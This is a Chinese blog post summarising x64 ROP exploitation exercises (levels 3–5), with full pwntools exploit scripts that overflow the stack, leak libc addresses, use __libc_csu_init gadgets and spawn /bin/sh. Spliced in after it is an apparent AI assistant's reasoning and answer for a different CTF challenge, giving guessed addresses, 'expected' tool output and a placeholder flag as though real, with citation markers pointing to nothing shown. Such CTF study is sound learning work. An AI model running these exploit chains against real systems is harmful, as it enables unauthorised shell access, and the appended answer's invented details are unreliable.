蒸米ROP_X64学习总结

X86与X64

x86中参数都是存在栈上,但在x64中的前六个参数依次存在RDI,RSI,RDX,RCX,R8、R9中,如果还有更多的参数的话才会存在栈上

level3(ROP简单绕过NX)

Snipaste_2021-10-09_14-33-52

发现有栈溢出

找到system(/bin/sh)

请添加图片描述

把这个函数写入栈中就ok了 exp如下

#!/usr/bin/env python3
from pwn import *

p = process("./level3")

payload = b"a" * 136 + p64(0x0000000000400584)

p.sendline(payload)
p.interactive()

level4(ROPgadget寻找gadgets)

请添加图片描述

发现它会把system的地址发送出来,这样就可以求偏移offset,就可以得到binsh_addr字符串的真实地址,但因为x64前6个参数是存在寄存器中的,所以我们需要gadgets(pop ret这样的)来实现64位下ROP

可以用objdump去寻找,也可以用ROPgadget去找

我这题用的ROPgadget,输入如下命令

ROPgadget --binary level4 --only "pop|ret" | grep rdi

请添加图片描述

不过好像没找到需要的

但我们可以去调用的libc.so文件里面去找,老样子,先拷贝到桌面

ldd level4
sudo cp /lib/x86_64-linux-gnu/libc.so.6 libc.so

然后去找

Snipaste_2021-10-09_14-56-52

不过命令最好后面加上grep rdi,不然找出来一大堆,不好拿

exp如下

from pwn import *

libc = ELF('libc.so')

p = process('./level4')


pop_call_libc = 0x000000000012228f

system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str, 16)
offset = system_addr - libc.symbols["system"]
binsh_addr = next(libc.search(b"/bin/sh")) + offset

pop_ret_addr = pop_call_libc + offset

p.recv()

payload = b"a"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
p.send(payload)
p.interactive()

pop rdi ret 可以先把binsh_addrpop进rdi当第一个参数,然后ret调用system_addr,就完成了ROP的构造

level5(通用gadgets)

Snipaste_2021-10-09_15-11-23

这次啥也没有,就一个栈溢出,system()或其地址的辅助函数也全删掉了

但是有一个write函数,可以进行地址泄露,老套路了,前面都写过,不多写了,可以利用内存信息的泄露得到system函数的地址,然后把binsh写进bss段,老套路了也是

但X64下的传参是一个大问题,write一共三个参数要怎么传呢

第一次调用write来泄露地址,参数应该是这样write(rdi=1, rsi=write.got, rdx=4),把地址泄露出来,所以我们要去找对应的gadgets

但有时候ROPgadget并没有类似pop rdi, ret,pop rsi, ret…的gadgets

那这时候我们可以考虑一下x64下万能的gadgets

用指令objdump -d ./level5观察一波

一般情况,只要程序调用了libc.so,程序都会用__libc_csu_init()来对libc进行初始化操作

请添加图片描述

0x400606地址处的代码可以控制rbx,rbp,r12,r13,r14和r15的值,然后再利用0x4005f0处的代码,可以把r15的值给rdx, r14的值给rsi,r13的值给edi,然后call [r12+rbx*8],如果此时rbx为0,那么就相当于call r12,然后我们如果把rbx设为0,rbp的值设为1,rbx加1之后也是1,两个值相等,那么就不会跳转,然后继续执行到0x400628的ret处返回地址,我们把ret那里设置成main就ok

  • payload1(用write泄露地址)

我们先构造payload1,利用write(1,write_got,8)输出write在内存中的地址。注意我们的gadget是call r12,所以我们应该使用write.got而不是write.plt。并且为了返回到原程序中,应该重复利用栈溢出的漏洞,我们应该继续覆盖栈,让ret那里为main的地址

payload1 = b"\x00"*136
#rbx = 0
#rbp = 1
#r12 = write_got
#1 = rdi=  edi = r13, write.got = rsi = r14, 8 = rdx = r15 
#write(rdi=1, rsi=write.got, rdx=8)
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got) + p64(8)
payload1 += p64(0x4005F0)
payload1 += b"\x00"*56
payload1 += p64(main)

因为末尾是一个add rsp,0x38 = 57,所以应该往里传7个,所以前面多个p64(0)

p64(0) +p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got) + p64(8)

构造好payload1,就可以计算出system函数的真实地址

  • payload2(用read读取地址)

同理

#rbx = 0
#rbp = 1
#r12 = read_got
#0 = rdi=  edi = r13, write.got = rsi = r14, 8 = rdx = r15 
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = b"\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(read_got) + p64(0) + p64(bss_addr) + p64(16)
payload2 += p64(0x4005F0)
payload2 += b"\x00"*56
payload2 += p64(main)

构造好payload2就可以利用read去读取system()的地址以及binsh的地址

  • payload3(调用system函数)

最后构造payload3,调用system()函数执行binsh。注意,system()的地址保存在了bss段首地址上,binsh_addr保存在了bss段首地址+8的位置

#r12 = bss_addr
#bss_addr+8 = rdi =  edi = r13, 0 = rsi = r14, 0 = rdx = r15
#system(rdi=bss_addr+8=binsh)
payload3 = b"\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0)
payload3 += p64(0x4005F0)#函数system已经执行完,下面两行有没有都行
# payload3 += b"\x00"*56
# payload3 += p64(main)

最终exp如下

#!/usr/bin/env python3
from pwn import *

elf = ELF('level5')
libc = ELF('libc.so.6')

p = process('./level5')

write_libc = libc.symbols['write']
write_got = elf.got['write']
read_got = elf.got['read']


main = 0x0400564

payload1 = b"\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got) + p64(8)
payload1 += p64(0x4005F0)
payload1 += b"\x00"*56
payload1 += p64(main)

p.recvuntil(b"Hello, World\n")


p.send(payload1)
sleep(1)

write_addr = u64(p.recv(8))
offset = write_addr - libc.symbols['write']
system_addr = libc.symbols['system'] + offset


bss_addr = 0x601028

p.recvuntil(b"Hello, World\n")


payload2 = b"\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(read_got) + p64(0) + p64(bss_addr) + p64(16)
payload2 += p64(0x4005F0)
payload2 += b"\x00"*56
payload2 += p64(main)

p.send(payload2)
sleep(1)

p.send(p64(system_addr))
p.send(b"/bin/sh\0")
sleep(1)

p.recvuntil(b"Hello, World\n")


payload3 = b"\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0)
payload3 += p64(0x4005F0)#函数system已经执行完,下面两行有没有都行
# payload3 += b"\x00"*56
# payload3 += p64(main)



sleep(1)
p.send(payload3)

p.interactive()
<think>我们正在处理CTF(Capture The Flag)竞赛中的二进制漏洞利用题目,具体是jarvisoj平台的level2_x64题目。根据用户需求,我们需要提供解题步骤。结合引用[3]中的内容,我们知道这是一个64位的栈溢出题目。 解题步骤通常包括: 1. 检查文件保护机制(使用checksec) 2. 静态分析(使用IDA或Ghidra反汇编) 3. 确定漏洞点和利用方式 4. 编写漏洞利用代码(EXP) 5. 获取flag 引用[3]提到了64位和32位调用约定的不同:64位使用寄存器传递前几个参数(rdi, rsi, rdx, rcx, r8, r9),然后才使用栈。因此,在构造ROP链的时候需要注意。 从题目名称(level2_x64)可以推测,这题与栈溢出有关,并且是64位程序。在level2中,通常存在一个可以溢出覆盖返回地址的缓冲区,并且程序中还有一个后门函数(如system函数)或我们可以利用的gadget。 根据常见解题思路,我们可能需要执行以下步骤: - 通过栈溢出覆盖返回地址,跳转到system函数,并传入"/bin/sh"字符串的地址。 - 由于64位程序参数传递规则不同,我们需要用ROP gadget来设置rdi寄存器(第一个参数)为我们控制的字符串地址。 具体步骤: 1. **检查保护机制**:使用`checksec`命令查看程序开启了哪些保护。通常,NX(堆栈不可执行)保护会开启,我们需要通过ROP绕过。 2. **静态分析**:用IDA打开程序,找到危险函数(如gets、read等),确定溢出点。同时查找是否有现成的system函数和"/bin/sh"字符串,或者我们可以写入字符串的位置。 3. **计算偏移**:确定从输入缓冲区到返回地址的偏移量。可以通过调试(如gdb)或模式字符串(pattern)来确定。 4. **构造ROP链**: - 如果程序中有`system`函数,我们可以直接调用。 - 需要设置第一个参数(rdi)为字符串"/bin/sh"的地址。因此,我们需要一个`pop rdi; ret`的gadget。 - 如果没有现成的字符串,我们还需要将字符串写入到已知地址(如.bss段)。 5. **编写EXP**:使用pwntools编写利用脚本。 现在,我们根据上述步骤详细说明: ### 解题步骤 #### 1. 检查保护机制 使用命令: ```bash checksec level2_x64 ``` 预期输出中,我们关注NX(堆栈不可执行)是否开启,以及是否有Canary(栈保护)和PIE(地址随机化)。通常,栈溢出题目NX开启,没有PIE(或者有PIE但我们可以泄漏地址)。 #### 2. 静态分析(IDA) 使用IDA打开程序,查看main函数和漏洞函数。通常,在main函数中会调用一个存在栈溢出的函数(如vulnerable_function)。在这个函数中,可能会使用`read`或`gets`等函数读取输入,且没有检查长度。 同时,我们还需要查找可利用的函数: - 查看是否有`system`函数(一般在导入表中)。 - 查看是否有`/bin/sh`字符串(可以使用`ROPgadget --binary level2_x64 --string '/bin/sh'`查找)。 - 如果没有现成的字符串,需要找到一个可写地址(如.bss段)并写入字符串。 另外,查找gadget: ```bash ROPgadget --binary level2_x64 --only 'pop|ret' ``` 重点查找`pop rdi; ret`,因为我们需要用它来传递参数。 #### 3. 确定偏移 在溢出函数中,确定输入缓冲区到返回地址的偏移量。可以通过以下方式: - 在IDA中查看栈布局:缓冲区起始地址与保存的返回地址之间的偏移。 - 使用gdb调试,制造一个溢出,通过崩溃信息确定覆盖返回地址的位置。 - 使用pwntools的`cyclic`功能生成一段唯一字符串,触发崩溃后查看覆盖到返回地址的值,然后计算偏移。 #### 4. 构造ROP链 根据已有信息构造: - 如果有现成的`/bin/sh`字符串(假设地址为`binsh_addr`)和`system`函数地址(假设为`system_addr`),那么ROP链可以是: ``` [pop_rdi_ret, binsh_addr, system_addr] ``` - 如果没有,则需要先写入字符串。我们可以通过read函数将字符串读入到已知可写地址(如.bss段),然后再调用system。 #### 5. 编写EXP 使用pwntools编写Python脚本。注意,远程连接时需要知道远程服务的IP和端口。 ### 示例EXP结构 ```python from pwn import * context(arch='amd64', os='linux', log_level='debug') # 加载文件 elf = ELF('./level2_x64') # 确定偏移量 offset = 0x80 + 8 # 示例,具体根据实际情况 # 获取关键地址 pop_rdi = 0x4006b3 # 通过ROPgadget找到的pop rdi; ret地址 system_addr = elf.symbols['system'] # 或者elf.plt['system'] binsh_addr = next(elf.search(b'/bin/sh')) # 查找字符串 # 构造payload payload = b'A' * offset payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(system_addr) # 发送payload io = process('./level2_x64') # 本地测试 # io = remote('remote_ip', port) # 远程连接 io.sendlineafter('Input:', payload) # 根据程序输入提示调整 io.interactive() ``` 注意:上面的地址(如pop_rdi)需要根据实际题目替换。 ### 相关问题 §§相关问题§§ 1. 如何确定栈溢出的偏移量? 2. 如何查找程序中的ROP gadget? 3. 如果程序没有提供system函数和/bin/sh字符串,如何利用? 4. 64位程序与32位程序在漏洞利用上有何不同? 5. 如何利用pwntools进行远程漏洞利用? 请根据实际情况调整解题步骤和EXP。注意,具体题目细节可能有所不同,需要根据实际二进制文件进行分析。 </think>### jarvisoj平台level2_x64解题步骤 #### 1. **检查文件保护机制(checksec)** ```bash checksec level2_x64 ``` 预期输出: ``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found # 关键:无栈保护 NX: NX enabled # 堆栈不可执行 PIE: No PIE (0x400000) # 地址固定 ``` **关键点**:无栈溢出保护(Canary),但堆栈不可执行(NX),需使用ROP技术[^3]。 --- #### 2. **静态分析(IDA反编译)** - **漏洞定位**: 在`vulnerable_function()`中发现`read(0, buf, 0x200)`,而`buf`位于栈上(大小通常0x80),存在栈溢出。 - **可利用资源**: - 程序自带`system@plt`函数(地址固定) - 存在字符串`/bin/sh`(地址:`0x600A90`)[^3] - 可通过`ROPgadget`查找`pop rdi; ret`: ```bash ROPgadget --binary level2_x64 --only "pop|ret" | grep "rdi" ``` 输出示例:`0x4006b3 : pop rdi ; ret` --- #### 3. **计算溢出偏移量** - 使用`cyclic`生成测试字符串: ```bash gdb-pwndbg ./level2_x64 run <<< $(cyclic 200) ``` - 崩溃时查看`RSP`值(例如`0x6161616161616166`) - 计算偏移: ```bash cyclic -l 0x6161616166 ``` 典型偏移为 **`0x80 + 8`**(128字节缓冲区 + 8字节RBP)[^3]。 --- #### 4. **构造ROP链** ```python from pwn import * context(arch='amd64', os='linux') # 关键地址 pop_rdi_ret = 0x4006b3 # pop rdi; ret binsh_addr = 0x600A90 # "/bin/sh"字符串地址 system_plt = 0x4004C0 # system@plt # 构造payload payload = b'A' * 0x88 # 填充缓冲区+RBP payload += p64(pop_rdi_ret) # 设置RDI参数 payload += p64(binsh_addr) # RDI = "/bin/sh" payload += p64(system_plt) # 调用system ``` --- #### 5. **执行EXP获取shell** ```python if args.REMOTE: io = remote('node4.buuoj.cn', 12345) # 替换实际地址 else: io = process('./level2_x64') io.sendlineafter(b'Input:\n', payload) io.interactive() # 进入交互式shell ``` **执行效果**: ```bash $ cat flag flag{example_flag} ``` --- ### 关键注意事项 1. **64位参数传递**:参数通过寄存器传递(第一参数用`RDI`),需用`pop rdi; ret`设置参数[^3]。 2. **NX绕过**:利用程序自身的`system`和`/bin/sh`避免shellcode执行。 3. **地址验证**:所有地址需通过`IDA`或`readelf`确认。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值